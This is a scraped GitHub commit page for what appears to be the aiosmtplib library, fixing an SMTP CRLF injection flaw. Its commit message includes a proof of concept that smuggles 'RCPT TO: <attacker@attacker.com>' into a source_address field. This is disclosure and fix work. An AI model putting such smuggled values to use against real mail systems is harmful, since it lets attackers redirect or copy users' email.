-
Notifications
You must be signed in to change notification settings - Fork 48
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Fix possible command injection vulnerability
References: https://www.mbsd.jp/research/20151218/smtp-injection/ https://consensys.net/diligence/vulnerabilities/python-smtplib-multiple-crlf-injection/ PoC: ``` import asyncio from email.message import EmailMessage from aiosmtplib import SMTP async def say_hello(): message = EmailMessage() message["From"] = "root@localhost" message["To"] = "somebody@example.com" message.set_content("Sent via aiosmtplib") smtp_client = SMTP( hostname="127.0.0.1", port=1225, source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>" ) async with smtp_client: await smtp_client.send_message(message) event_loop = asyncio.get_event_loop() event_loop.run_until_complete(say_hello()) ```
- Loading branch information
Showing
4 changed files
with
43 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters